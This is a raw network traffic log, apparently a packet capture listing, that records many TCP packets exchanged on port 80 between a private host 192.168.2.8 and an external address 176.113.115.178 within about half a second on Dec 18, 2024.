Dec 18, 2024 14:07:38.590387106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.590432882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.590832949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.590845108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.590883017 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.591775894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.591789961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.591834068 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.592571020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.592664957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.592713118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.593462944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.593544960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.593591928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.594310045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.594432116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.594476938 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.595334053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.595391989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.595443964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.596030951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.596169949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.596219063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.596929073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.597023964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.597076893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.597798109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.597861052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.597913980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.598649979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.598815918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.598869085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.599596024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.599699974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.599783897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.600348949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.600440025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.600487947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.601269960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.601370096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.601433992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.602137089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.602224112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.602313995 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.603009939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.603101015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.603147984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.603842020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.603980064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.604027987 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.604681015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.604780912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.604907990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.605554104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.605659008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.605706930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.606461048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.606591940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.606640100 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.607470036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.607497931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.607546091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.608192921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.608335018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.608396053 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.609042883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.609167099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.609220982 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.610018969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.610039949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.610162020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.610887051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.610945940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.610991001 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.611598969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.611777067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.611843109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.612493038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.612632990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.612680912 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.613435030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.613527060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.613576889 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.614357948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.614578962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.614629984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.615089893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.615219116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.615266085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.615973949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.616219044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.616266012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.616846085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.616964102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.617010117 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.617728949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.617753029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.617794991 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.728626966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.728777885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.728833914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.728897095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.729067087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.729110003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.729613066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.729741096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.729783058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.730483055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.730669975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.730719090 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.731410027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.731442928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.731487036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.732371092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.732522011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.732568026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.733171940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.733185053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.733218908 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.733840942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.734076023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.734118938 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.734592915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.734673023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.734723091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.735424995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.735565901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.735618114 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.736211061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.736398935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.736450911 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.737082958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.737190008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.737237930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.737865925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.737981081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.738025904 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.738683939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.738770008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.738818884 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.776199102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.776274920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.776331902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.776644945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.776741982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.776796103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.777568102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.777611971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.777662039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.778304100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.778436899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.778481960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.779098988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.779170990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.779212952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.780138969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.780369043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.780514002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.781254053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.781471968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.781521082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.781968117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.782095909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.782139063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.782495022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.782623053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.782680988 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.783294916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.783360958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.783404112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.784092903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.784181118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.784230947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.784892082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.785273075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.785326004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.785840988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.785938025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.785976887 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.786580086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.786724091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.786780119 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.787384987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.787488937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.787535906 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.788228035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.788301945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.788357019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.789016962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.789141893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.789192915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.789839983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.789984941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.790034056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.790658951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.790827990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.790880919 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.791512012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.791527033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.791568995 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.792330027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.792480946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.792534113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.793195963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.793360949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.793432951 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.794019938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.794159889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.794214964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.794872999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.795048952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.795120001 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.795651913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.795839071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.795898914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.796511889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.796745062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.796804905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.797301054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.797322989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.797370911 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.798058987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.798185110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.798235893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.799036980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.799055099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.799105883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.799801111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.799849987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.799904108 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.800661087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.800740004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.800789118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.801402092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.801425934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.801474094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.802200079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.802295923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.802350998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.803111076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.803124905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.803172112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.803836107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.803956032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.804003954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.804724932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.804802895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.804857016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.805577040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.805696011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.805747032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.806349993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.806446075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.806502104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.807199001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.807279110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.807324886 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.808007956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.808140039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.808185101 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.951807976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.951891899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.951951027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.952132940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.952198982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.952243090 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.953113079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.953239918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.953280926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.953341961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.954082966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.954128027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.954251051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.954950094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.954998016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.955032110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.955776930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.955821037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.955843925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.956680059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.956703901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.956752062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.957400084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.957592964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.957658052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.958177090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.958226919 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.958323956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.959152937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.959165096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.959198952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.959829092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.960052013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.960103989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.960881948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.960900068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.960948944 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.962018967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.962032080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.962069988 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.003266096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.005220890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.005557060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.005606890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.005856037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.005870104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.005954027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.006503105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.006516933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.006558895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.007261992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.007499933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.007544041 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.008263111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.008291960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.008397102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.008855104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.009041071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.009128094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.009769917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.009932041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.009978056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.010694981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.010834932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.010880947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.011387110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.011573076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.011624098 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.012165070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.012315035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.012720108 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.013240099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.013309002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.013465881 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.013942957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.014138937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.014179945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.014631033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.014724016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.014867067 CET	49707	80	192.168.2.8	176.113.115.178
